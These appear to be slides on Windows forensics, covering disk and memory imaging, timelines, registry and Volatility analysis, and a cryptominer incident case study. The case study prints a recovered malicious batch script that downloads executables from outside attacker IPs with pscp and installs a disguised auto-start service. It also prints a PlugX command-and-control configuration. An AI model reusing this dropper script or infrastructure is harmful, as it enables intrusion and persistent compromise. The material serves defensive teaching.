



Windows Forensics

G.Altangerel


What is computer forensics

- Finding evidence from computer and digital storage media



Windows OS

- ~90% OS market share
- Juicy target of cyber attack



FORENSIC ANALYSIS ON WINDOWS

What should we know?

- Operating system
- File system
- Important artifacts
- Cyber attack methods
- Basics of malware analysis

Artifacts

- Registry
- Event log
- Volume Shadow Copies
- Master File Table (MFT)
- Windows Shell Bags
- Prefetch file
- Update Sequence Number Journal (USNJRNL)

What to do



- Capture images
- Create timeline
- Analyze timeline
- Analyze memory
- Correlate finding with other sources
- Prepare report

Arsenal


- FTK Imager
- SIFT workstation by SANS
- Redline
- Volatility
- SIEM
- IDS/IPS, Firewall, ...

Capturing images

- Disk & Memory (RAM)
- DO NOT TURN OFF THE COMPUTER!!!



Cold boot attack



(a) 0 sec / 100%

(b) 2 sec / 99.2%

(c) 3 sec / 93.4%

(d) 4 sec / 93.1%

(e) 5 sec / 61.4%

(f) 6 sec / 51.9%


Cold boot attack



Cold boot attack




5 seconds



30 seconds



60 seconds




5 minutes

Playing with the images

- High performance machine required
- SIFT workstation (virtual machine)
- Redline



SIFT workstation



SIFT
WORKSTATION

```
Terminal  
root@siftworkstation -> /c/15  
#
```



Mounting the image

```
#ewfmount image.E01 /mnt/ewf
```

```
#mmls ewf1
```

```
DOS Partition Table
```

```
Offset Sector: 0
```

```
Units are in 512-byte sectors
```

	Slot	Start	End	Length	Description
000:	Meta	0000000000	0000000000	0000000001	Primary Table (#0)
001:	-----	0000000000	0000002047	0000002048	Unallocated
002:	000:000	0000002048	0000206847	0000204800	NTFS / exFAT (0x07)
003:	000:001	0000206848	0479567219	0479360372	NTFS / exFAT (0x07)
004:	-----	0479567220	0479567871	0000000652	Unallocated
005:	000:002	0479567872	0585867263	0106299392	NTFS / exFAT (0x07)
006:	-----	0585867264	0585871963	0000004700	Unallocated

```
# mount -t ntfs-3g -o ro,loop,show_sys_files,stream_interface=windows,offset=$((206848*512))  
/mnt/ewf/ewf1 /mnt/windows_mount
```

Creating timeline

```
#log2timeline.py /cases/ewf.plaso /mnt/ewf/ewf1 --parsers win_gen --hashers none --  
workers 15
```

```
#psort.py -o l2tcsv -w test.csv test.plaso
```

```
C:\>Mft2Csv.exe /MftFile:Z:\$MFT /TimeZone:0.00 /OutputFormat:l2t
```

<https://github.com/jschicht/Mft2Csv>

Timeline

MACB	source	sourcetype	type
...B	LNK	Windows Shortcut	Creation Time
...B	OLECF	OLECF Item	Creation Time
.A..	LNK	Windows Shortcut	Last Access Time
M...	REG	UNKNOWN	Content Modification Time
M...	LNK	Windows Shortcut	Content Modification Time
....	OLECF	OLECF Summary Info	Document Last Printed Time
...B	WEBHIST	Chrome Cache	Creation Time
....	OLECF	OLECF Summary Info	Document Creation Time
M...	FILE	GZIP mtime	mtime
...B	PE	PE Compilation time	Creation Time
....	WEBHIST	MSIE Cache File leak record	Not a time
....	JAVA_IDX	Java Cache IDX	File Hosted Date
....	WEBHIST	MSIE Cache File redirected record	Not a time
....	LOG	System	Installation Time
M...	PE	PE Import Time	Content Modification Time
M...	FILE	NTFS_DETECT mtime	mtime
M...	OLECF	OLECF Item	Content Modification Time
M...	FILE	File entry shell item	Content Modification Time
....	JOB	Windows Scheduled Task Job	Scheduled To Start
M...	OLECF	OLECF Summary Info	Content Modification Time
....	OLECF	OLECF Summary Info	Document Last Save Time
...B	OLECF	OLECF Document Summary Info	Creation Time
...B	OLECF	OLECF Summary Info	Creation Time

Timeline

desc	version	filename	inode
[@%windir%\explorer.exe -6002] File size: 0 F	2	TSK:/ProgramData/Microsoft/	7714
[Create and edit presentations for slide shows	2	TSK:/ProgramData/Microsoft/	77095
Name: Root Entry	2	TSK:/Program Files/Dropbox/U	155506
[@%windir%\explorer.exe -7003] File size: 0 F	2	TSK:/Users/Administrator/App	239
[HKEY_CURRENT_USER\Software\Microsoft\W	2	TSK:/Users/Administrator/NTU	196
[Gather organize find and share your notes a	2	TSK:/ProgramData/Microsoft/	77093
[Change the language preferences for Office a	2	TSK:/ProgramData/Microsoft/	77085
[This program creates a self-signed digital cert	2	TSK:/ProgramData/Microsoft/	77084
[Create professional-quality publications and	2	TSK:/ProgramData/Microsoft/	77096
[Find solutions to issues related to installing a	2	TSK:/ProgramData/Microsoft/	62429
[@%windir%\explorer.exe -304] File size: 0 Fil	2	TSK:/Users/Administrator/App	230
Title: Daily Performance Report Author: joe Se	2	TSK:/Program Files/WhatsUp/	59391
Title: WhatsUp Gold Hourly Performance Repc	2	TSK:/Program Files/WhatsUp/	59442
[Empty description] File size: 0 File attribute fl	2	TSK:/ProgramData/Microsoft/	82793
[Organize edit and share picture files by using	2	TSK:/ProgramData/Microsoft/	77082
[Fill out dynamic forms to gather and reuse inf	2	TSK:/ProgramData/Microsoft/	77091
Title: Performance Text Report Author: Joe Se	2	TSK:/Program Files/WhatsUp/	59415

Windows Registry forensics

REGRIPPER is the primary weapon when it comes to registry analysis

rip.pl -l | more

1. ide v.20080418 [System]

- Get IDE device info from the System hive file

2. shelloverlay v.20100308 [Software]

- Gets ShellIconOverlayIdentifiers values

3. auditpol v.20151202 [Security]

- Get audit policy from the Security hive file

.....

346. usbstor2 v.20080825 [System]

- Get USBStor key info; csv output

347. cpldontload v.20100116 [NTUSER.DAT]

- Gets contents of user's Control Panel don't load key

Windows Registry forensics

```
#rip.pl -r /mnt/windows_mount/Windows/System32/config/SOFTWARE -p winver
```

```
Launching winver v.20081210
```

```
winver v.20081210
```

```
(Software) Get Windows version
```

```
ProductName = Windows Server 2008 R2 Enterprise
```

```
CSDVersion = Service Pack 1
```

```
InstallDate = Thu Nov 29 17:52:22 2012
```

Windows Registry forensics

```
# rip.pl -r /mnt/windows_mount/Windows/System32/config/SAM -f sam
```

Parsed Plugins file.

Launching samparse v.20160203

(SAM) Parse SAM file for user & group mbrshp info

User Information

Username : Administrator [500]

Full Name :

User Comment : Built-in account for administering the computer/domain

Account Type : Default Admin User

Account Created : Fri Apr 13 17:27:01 2012 Z

Name :

Last Login Date : Mon Aug 6 02:24:21 2018 Z

Pwd Reset Date : Wed Jan 3 10:42:54 2018 Z

Pwd Fail Date : Sun Aug 5 13:49:04 2018 Z

Login Count : 513

--> Normal user account

Windows Registry forensics

- Account profile list
`#rip.pl -r /mnt/windows_mount/Windows/System32/config/SOFTWARE -p profilelist`
- Logon timeline
`#rip.pl -r /mnt/windows_mount/Windows/System32/config/SOFTWARE -p winlogon_tln`
- Parsing event log
`#rip.pl -r /mnt/windows_mount/Windows/System32/config/SYSTEM -p eventlogs`
- Services list
`#rip.pl -r /mnt/windows_mount/Windows/System32/config/SYSTEM -p services`
- Installed application list
`#rip.pl -r /mnt/windows_mount/WINDOWS/system32/config/software -p uninstall`

Memory forensics

- Volatility and Redline



Memory forensics

```
aggie@rembox:~/mnsec2017$ volatility -f memdump.mem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO      : volatility.debug      : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418,
          AS Layer1            : WindowsAMD64PagedMemory (Kernel AS)
          AS Layer2            : FileAddressSpace (/home/aggie/mnsec2017/memdump.mem)
          PAE type             : No PAE
          DTB                  : 0x187000L
          KDBG                  : 0xf800031f3110L
          Number of Processors : 4
          Image Type (Service Pack) : 1
          KPCR for CPU 0       : 0xffffffff800031f4d00L
          KPCR for CPU 1       : 0xffffffff88003708000L
          KPCR for CPU 2       : 0xffffffff88003779000L
          KPCR for CPU 3       : 0xffffffff880037ea000L
          KUSER_SHARED_DATA     : 0xffffffff78000000000L
          Image date and time   : 2016-12-20 07:45:56 UTC+0000
          Image local date and time : 2016-12-20 15:45:56 +0800
```

Memory forensics

```
aggie@rembox:~/mnsec2017$ volatility -f memdump.mem pslist --profile=Win7SP1x64
Volatility Foundation Volatility Framework 2.6
Offset(V)      Name                PID  PPID  Thds   Hnds   Sess  Wow64  Start
-----
0xffffffffa800399db10 System              4    0     175   4715  -----  0 2016-12-13 01:02:09 UTC+0000
0xffffffffa8004dc2210 smss.exe           372  4      3     38  -----  0 2016-12-13 01:02:09 UTC+0000
0xffffffffa8005101510 csrss.exe          692  576   10    992    0      0 2016-12-13 01:02:16 UTC+0000
0xffffffffa80055a0b10 csrss.exe          860  752   16    650    1      0 2016-12-13 01:02:22 UTC+0000
0xffffffffa80056d6b10 wininit.exe        868  576    3     80    0      0 2016-12-13 01:02:22 UTC+0000
0xffffffffa8005ba38f0 winlogon.exe       924  752    3    121    1      0 2016-12-13 01:02:23 UTC+0000
0xffffffffa8005bc1b10 services.exe       972  868   21    387    0      0 2016-12-13 01:02:23 UTC+0000
0xffffffffa8005b7eb10 lsass.exe          980  868   10   1260    0      0 2016-12-13 01:02:24 UTC+0000
0xffffffffa8005bd1b10 lsm.exe            988  868   11    331    0      0 2016-12-13 01:02:24 UTC+0000
0xffffffffa8005bdeb10 svchost.exe        464  972   13    408    0      0 2016-12-13 01:02:31 UTC+0000
0xffffffffa8005ce1b10 svchost.exe        384  972    9    421    0      0 2016-12-13 01:02:32 UTC+0000
0xffffffffa8005de9060 svchost.exe        616  972   21    607    0      0 2016-12-13 01:02:32 UTC+0000
0xffffffffa8005df4b10 svchost.exe        696  972   21    616    0      0 2016-12-13 01:02:32 UTC+0000
0xffffffffa8005e30b10 svchost.exe        524  972   14    539    0      0 2016-12-13 01:02:32 UTC+0000
0xffffffffa8005e30b10 svchost.exe        524  972   14    539    0      0 2016-12-13 01:02:32 UTC+0000
```

Memory forensics

```
aggie@rembox:~/mnsec2017$ volatility -f memdump.mem pstree --profile=Win7SP1x64
```

```
Volatility Foundation Volatility Framework 2.6
```

Name	Pid	PPid	Thds	Hnds	Time
0xfffffa8005101510:csrss.exe	692	576	10	992	2016-12-13 01:02:16 UTC+0000
. 0xfffffa80070bcb10:conhost.exe	592	692	0	-----	2016-12-20 07:47:50 UTC+0000
. 0xfffffa800699c8f0:conhost.exe	8316	692	0	-----	2016-12-20 07:47:39 UTC+0000
. 0xfffffa8007318120:conhost.exe	6112	692	0	-----	2016-12-20 07:47:45 UTC+0000
0xfffffa80056d6b10:wininit.exe	868	576	3	80	2016-12-13 01:02:22 UTC+0000
. 0xfffffa8005bc1b10:services.exe	972	868	21	387	2016-12-13 01:02:23 UTC+0000
.. 0xfffffa8005ee59c0:svchost.exe	1536	972	19	334	2016-12-13 01:02:39 UTC+0000
.. 0xfffffa8004def060:officeclicktor	516	972	16	446	2016-12-13 01:02:50 UTC+0000
.. 0xfffffa8005e30b10:svchost.exe	524	972	14	539	2016-12-13 01:02:32 UTC+0000
.. 0xfffffa80062d8760:BackupSvc.exe	1456	972	4	92	2016-12-13 01:03:05 UTC+0000
0xfffffa800404060:SearchIndexer	1684	972	14	1321	2016-12-13 01:05:00 UTC+0000

Memory forensics

```
aggie@rembox:~/mnsec2017$ volatility -f memdump.mem netscan --profile=Win7SP1x64
```

```
Volatility Foundation Volatility Framework 2.6
```

Offset(P)	Proto	Local Address	Foreign Address	State	Pid	Owner
0x33f86ec0	UDPv4	0.0.0.0:0	*:*		2808	WmiPrvSE.exe
0x33f86ec0	UDPv6	:::0	*:*		2808	WmiPrvSE.exe
0x482493c0	TCPv4	127.0.0.1:1110	127.0.0.1:51102	CLOSED	-1	
0x9c955290	TCPv4	127.0.0.1:1110	127.0.0.1:57748	ESTABLISHED	-1	
0x9fb06010	UDPv4	0.0.0.0:5353	*:*		5284	chrome.exe
0xa3c4c630	UDPv4	0.0.0.0:0	*:*		2808	WmiPrvSE.exe
0xa3c4c630	UDPv6	:::0	*:*		2808	WmiPrvSE.exe
0xc12a67a0	UDPv4	0.0.0.0:0	*:*		2808	WmiPrvSE.exe
0xc12a67a0	UDPv6	:::0	*:*		2808	WmiPrvSE.exe
0x114379cd0	TCPv4	127.0.0.1:0	127.0.0.1:0	CLOSED	-1	
0x119ac6330	TCPv4	127.0.0.1:53478	127.0.0.1:1110	CLOSED	-1	
0x11a2ee1c0	TCPv4	127.0.0.1:1110	127.0.0.1:53851	ESTABLISHED	-1	
0x12b22b4b0	UDPv4	0.0.0.0:0	*:*		2808	WmiPrvSE.exe
0x12b4b3d80	UDPv4	0.0.0.0:5355	*:*		1292	svchost.exe
0x12b29f0a0	TCPv4	127.0.0.1:57748	127.0.0.1:1110	ESTABLISHED	-1	

Memory forensics

```
#volatility -f memdump.mem -profile=Win7SP1x64 plugxconfig
```

```
PlugX Config (0x2540 bytes):
```

```
Flags: True False True True True True True True True False True True
```

```
Timer 1: 10 secs
```

```
Timer 2: 0 secs
```

```
C&C Address: google.lookipv6.com:80 (TCP / HTTP / UDP / ICMP)
```

```
C&C Address: google.lookipv6.com:80 (TCP / HTTP / UDP / ICMP)
```

```
C&C Address: google.lookipv6.com:443 (TCP / HTTP / UDP / ICMP)
```

```
C&C Address: google.lookipv6.com:443 (TCP / HTTP / UDP / ICMP)
```

```
Persistence Type: None
```

```
Install Dir: %AUTO%\RasTls
```

```
Service Name: RasTls
```

```
Service Disp: RasTls
```

```
Service Desc: Symantec 802.1x Supplicant
```

```
Registry hive: HKEY_CURRENT_USER
```

```
Registry key: Software\Microsoft\Windows\CurrentVersion\Run
```

```
Registry value: RasTls
```

```
Net injection: False
```

```
Net injection process: %windir%\system32\svchost.exe
```

```
Online Pass: TEST
```

```
Memo: X5
```

```
Mutex: GLOBAL_XXDDX5_GOOGLE
```

```
Screenshots: False
```

```
Screenshots params: 10 sec / Zoom 100 / 16 bits / Quality 50 / Keep 3 days
```

```
Screenshots path: %AUTO%\screen
```

```
Lateral movement TCP port: 535
```

```
Lateral movement UDP port: 535
```

Memory forensics

The screenshot displays the Redline web interface. At the top, there is a navigation bar with a logo, navigation arrows, and a 'Home' link. Below this is a sidebar titled 'Analysis Data' containing a list of analysis categories: Processes (with sub-items: Handles, Memory Sections, Strings, Ports), Hierarchical Processes, Driver Modules, Device Tree, Hooks, Timeline, Tags and Comments, and Acquisition History. The main content area is titled 'Start Your Investigation' and features two instructional sections. The first section, 'I am Reviewing a Triage Collection from HX', explains that Redline works with FireEye Endpoint Threat Prevention Platform (HX) to help triage alerts and mentions the use of Timeline and TimeWrinkles views. The second section, 'I am Investigating a Host Based on an External Investigative Lead', describes how to use Redline to find items of interest based on external leads, such as a timeframe of suspicious activity or a specific user identified by an Indicator of Compromise.

Home ▶

Analysis Data

- ▲ Processes
 - Handles
 - Memory Sections
 - Strings
 - Ports
- Hierarchical Processes
- Driver Modules
- Device Tree
- Hooks
- Timeline
- Tags and Comments
- Acquisition History

Start Your Investigation

I am Reviewing a Triage Collection from HX


Redline® works with FireEye Endpoint Threat Prevention Platform (HX)™ to help security analysts triage every endpoint involved in an alert.

You can open these Triage Collections in Redline and use the Timeline view to search for the network activity. TimeWrinkles™ and Timeline filtering (by process, for example) you can see what the process actually did: was it a true compromise or not.

I am Investigating a Host Based on an External Investigative Lead


When you are starting with a piece of external information indicating that the host requires further examination, there find additional items of interest to follow. If your initial lead is a timeframe of suspicious activity identified by a single user identified by an Indicator of Compromise, then you can use the Unique Process and Username filters.

Memory forensics



The screenshot shows a web-based interface for memory forensics. The breadcrumb navigation at the top reads "Home > Host > Processes >". The left sidebar, titled "Analysis Data", contains a tree view with "Processes" selected. The main area displays a table of running processes with columns for Process Name, PID, Path, and Arguments. A search bar at the top of the table contains the text "Enter string to find here...".

Process Name	PID	Path	Arguments
System	4		
Explorer.EXE	7568	C:\Windows	C:\Windows\Explorer.EXE
mspaint.exe	6092	C:\Windows\system32	"C:\Windows\system32\mspaint.
tv_w32.exe	7372	C:\Program Files\TeamVi...	"C:\Program Files\TeamViewer\tv
TeamViewer.exe	7912	C:\Program Files\TeamVi...	"C:\Program Files\TeamViewer\T
iMonitor.exe	3752	C:\Program Files\iDIRECT...	"C:\Program Files\iDIRECT\NMS\
taskeng.exe	6624	C:\Windows\system32	
conime.exe	2448	C:\Windows\system32	C:\Windows\system32\conime.ex
tv_w32.exe	2132	C:\Program Files\TeamVi...	"C:\Program Files\TeamViewer\tv
Dropbox.exe	2840	C:\Program Files\Dropbo...	"C:\Program Files\Dropbox\Clie
TeamViewer_Service...	696	C:\Program Files\TeamVi...	"C:\Program Files\TeamViewer\T
nidmsrv.exe	340	C:\Program Files\Nationa...	"C:\Program Files\National Instru
SystemWebServer.exe	728	C:\Program Files\Nationa...	"C:\Program Files\National Instru



REAL LIFE EXAMPLE

Example

- A host infected with crypto-mining malware

Source IP	Destination IP	Source Port	Destination Port	Message
127.0.0.1	185.92.223.190	60922 / tcp	6666 / tcp	Cryptocurrency Miner outbound connection attempt
127.0.0.1	185.92.223.190	60919 / tcp	6666 / tcp	Cryptocurrency Miner outbound connection attempt
127.0.0.1	185.92.223.190	60909 / tcp	6666 / tcp	Cryptocurrency Miner outbound connection attempt
127.0.0.1	159.65.202.177	60908 / tcp	6666 / tcp	Cryptocurrency Miner outbound connection attempt



Example

- Found running suspicious process called WinSCV.exe (PID:3056)

Evidence
0x000000013ed3fc28 WinSCV.exe 3056 3032 0x001385a0 2018-08-06 02:24:05

- WinSCV.exe file exists in C:\Windows\Temp directory and is proven malicious software.

Evidence
SHA256: d813435c81c16b3276bf45f68620c2136538646bc0802234fe451befe339b579 VT: Kaspersky not-a-virus:HEUR:RiskTool.Win32.BitMiner.gen

- WinSCV.exe file was created on 2018/06/02.

Evidence
6/2/2018 19:11:54 .A.B FILE NTFS_DETECT:crtime TSK:/Windows/Temp/WinSCV.exe

- Putty, well known SSH client software, was being used on the system at the time.

Evidence
6/2/2018 10:10:07 M... REG Content Modification Time [HKEY_CURRENT_USER\Software\SimonTatham\PuTTY]

Example

- server.txt file, PE executable, was created on the system. Afterward, PSCP.exe (Putty's Secure Copy Client) and confirm.txt files were created.
- The content of the "confirm.txt" file was just "y"
- After creating those files, SMSvsHOST.exe, win.exe and WinSCV.exe files were created consequently. The attacker used PSCP.exe to download other executables.

Evidence			
6/2/2018	19:10:53	M...	/Temporary Internet Files/Content.IE5/K2HPBTLI/server[1].txt
6/2/2018	19:11:04	M.C.	/Windows/pscp.exe
6/2/2018	19:11:04	.A.B	/Windows/pscp.exe
6/2/2018	19:11:07	M.C.	/Windows/confirm.txt
6/2/2018	19:11:05	.A.B	/Windows/confirm.txt
6/2/2018	19:11:09	.A.B	/Windows/SMSvcHost.exe
6/2/2018	19:11:30	M.C.	/Windows/Temp/win.exe
6/2/2018	19:11:49	.A.B	/Windows/Temp/win.exe
6/2/2018	19:11:54	.A.B	/Windows/Temp/WinSCV.exe

Example

- To confirm previous findings, we need to check other logs. The target host might have been exploited by EternalBlue.

Evidence				
Time (Event Time)	sourceAddress	sourcePort	destinationAddress	destinationPort
6/2/2018 19:09	59.153.118.2	51754	127.0.0.1	445
6/2/2018 19:10	59.153.118.2	51780	127.0.0.1	445
6/2/2018 19:10	59.153.118.2	51782	127.0.0.1	445

- The following log confirms that the exploitation was successful.

Evidence				
6/2/2018	19:09:46	WinEVTX	[4624] 'ANONYMOUS LOGON'	'59.153.118.2']

-

Example

- To confirm previous findings, we need to check other logs. The target host might have been exploited by EternalBlue.

Evidence				
Time (Event Time)	sourceAddress	sourcePort	destinationAddress	destinationPort
6/2/2018 19:09	59.153.118.2	51754	127.0.0.1	445
6/2/2018 19:10	59.153.118.2	51780	127.0.0.1	445
6/2/2018 19:10	59.153.118.2	51782	127.0.0.1	445

- The following log confirms that the exploitation was successful.

Evidence				
6/2/2018	19:09:46	WinEVTX	[4624] 'ANONYMOUS LOGON'	'59.153.118.2']

- After exploitation, the attacker downloaded another payload.

Evidence					
Time (Event Time)	sourceAddress	destinationAddress	destinationPort	ULR	
6/2/2018 19:10	127.0.0.1	39.104.72.54	1433	http://39.104.72.54:1433/server.txt	
6/2/2018 19:10	127.0.0.1	39.104.72.54	2222		
6/2/2018 19:11	127.0.0.1	39.104.72.54	2222		
6/2/2018 19:11	127.0.0.1	39.104.72.54	3389		
6/2/2018 19:11	127.0.0.1	39.104.72.54	3389		

Example

- Server.txt is a UPX compressed executable file. It's very easy to decompress UPX packed executables. The static analysis can show something helpful.

Evidence

```
del /Q c:\windows\SMSvcHost.exe
c:\windows\pscp.exe
echo y>c:\windows\confirm.txt
echo.>>c:\windows\confirm.txt
c:\windows\SMSvcHost.exe
c:\windows\pscp.exe -pw kentz007 -P 2222 admin@39.104.72.54:/SMSvcHost.exe c:/windows/SMSvcHost.exe <
c:\windows\confirm.txt
c:\windows\pscp.exe -pw kentz007 -P 2222 admin@119.28.190.189:/SMSvcHost.exe c:/windows/SMSvcHost.exe <
c:\windows\confirm.txt
c:\windows\pscp.exe -pw kentz007 -P 2222 admin@193.112.29.239:/SMSvcHost.exe c:/windows/SMSvcHost.exe <
c:\windows\confirm.txt
sc create NetUdpPortSharing binpath= "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe"
displayname= "Net.Udp Port Sharing Service" start= auto
sc config NetUdpPortSharing binpath= "c:\windows\SMSvcHost.exe"
sc description NetUdpPortSharing "Provides the function of sharing the UDP port through the net.udp protocol."
c:\windows\SMSvcHost.exe start
```

The more sources, the more accurate result you will have.